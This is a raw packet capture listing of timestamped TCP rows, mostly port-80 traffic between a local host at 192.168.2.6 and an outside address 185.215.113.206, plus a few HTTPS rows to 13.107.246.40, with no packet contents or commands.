Nov 11, 2024 12:40:28.400161982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400170088 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400181055 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400188923 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400204897 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400217056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400228024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400247097 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400255919 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400298119 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400347948 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400357962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400391102 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400470972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400481939 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400491953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400507927 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400511980 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400525093 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400531054 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400535107 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400547981 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400552034 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400564909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400568962 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400578022 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400593996 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400594950 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400607109 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400618076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400623083 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400629997 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400640965 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400648117 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400659084 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400671005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400680065 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400691032 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400702953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400708914 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400721073 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400732994 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400742054 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400743008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400753975 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400757074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400768042 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400770903 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400780916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400793076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400804043 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400804996 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400813103 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400855064 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400921106 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400933027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400943041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400954008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400964022 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400965929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400978088 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400990963 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400993109 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401002884 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401012897 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401017904 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401029110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401040077 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401048899 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401091099 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401113987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401156902 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401329041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401376009 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401452065 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401463985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401474953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401485920 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401496887 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401500940 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401506901 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401509047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401520967 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401531935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401535988 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401549101 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401560068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401561022 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401571035 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401570082 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401585102 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401595116 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401597977 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401609898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401619911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401621103 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401631117 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401633978 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401649952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401664972 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401690006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401694059 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401701927 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401712894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401727915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401732922 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401741028 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401752949 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401758909 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401766062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401777983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401777983 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401792049 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401809931 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401813984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401837111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401838064 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401849031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401860952 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401870012 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401902914 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401940107 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401951075 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401962996 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401973963 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401981115 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401984930 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.401989937 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.401995897 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402008057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402014971 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.402019978 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402035952 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.402060032 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.402235031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402251959 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402262926 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402275085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402286053 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402292967 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.402301073 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402312040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402322054 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402328014 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.402334929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402354956 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402367115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402376890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402376890 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.402385950 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.402395010 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402410984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.402411938 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402426958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402435064 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.402436972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402450085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402457952 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.402462006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402475119 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402483940 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.402484894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402498007 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402504921 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.402508974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402523041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402534008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402532101 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.402546883 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402556896 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.402569056 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.402589083 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.407969952 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.407988071 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.408065081 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.408071995 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.408114910 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.479677916 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.479698896 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.479763985 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.479783058 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.479810953 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.479820013 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.481065035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481121063 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481128931 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481164932 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481194019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481223106 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481234074 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481234074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481257915 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481271982 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481441021 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481453896 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481465101 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481473923 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481481075 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481491089 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481494904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481513023 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481513977 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481524944 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481535912 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481543064 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481553078 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481564045 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481565952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481578112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481585979 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481595039 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481606007 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481615067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481616974 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481626987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481637955 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481646061 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481647015 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481658936 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481672049 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481681108 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481681108 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481695890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481709957 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481713057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481726885 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481734037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481745005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481755018 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481759071 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481766939 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481772900 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481780052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481795073 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481797934 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481812000 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481812954 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481822968 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481834888 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481838942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481856108 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481858969 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481865883 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481877089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481883049 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481889009 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481899977 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481911898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481923103 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481926918 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481940985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481941938 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481951952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481959105 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481964111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481976032 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.481976986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.481998920 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.482033968 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.489057064 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.489072084 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.489145994 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.489152908 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.489382029 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.490856886 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.490869999 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.490941048 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.490946054 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.491024971 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.493307114 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.493328094 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.493397951 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.493402958 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.493427992 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.493448019 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.513336897 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513348103 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513397932 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.513473034 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513490915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513503075 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513516903 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.513550043 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.513585091 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513596058 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513632059 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.513695002 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513717890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513731003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513736963 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.513741970 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513751030 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.513757944 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513776064 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.513782978 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.513819933 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.513871908 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513885021 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513895988 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513911963 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.513932943 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.513940096 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.513958931 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513972044 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513981104 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.513995886 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.514029980 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.514211893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.514223099 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.514234066 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.514266968 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.514364004 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.514377117 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.514386892 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.514410019 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.514431000 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.514883041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.514939070 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.514986038 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515037060 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.515073061 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515136957 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.515224934 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515237093 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515258074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515269041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515279055 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515281916 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.515290022 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515300989 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515305042 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.515327930 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.515330076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515341997 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515351057 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.515352964 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515366077 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515376091 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.515381098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515393019 CET	80	49827	185.215.113.206	192.168.2.6
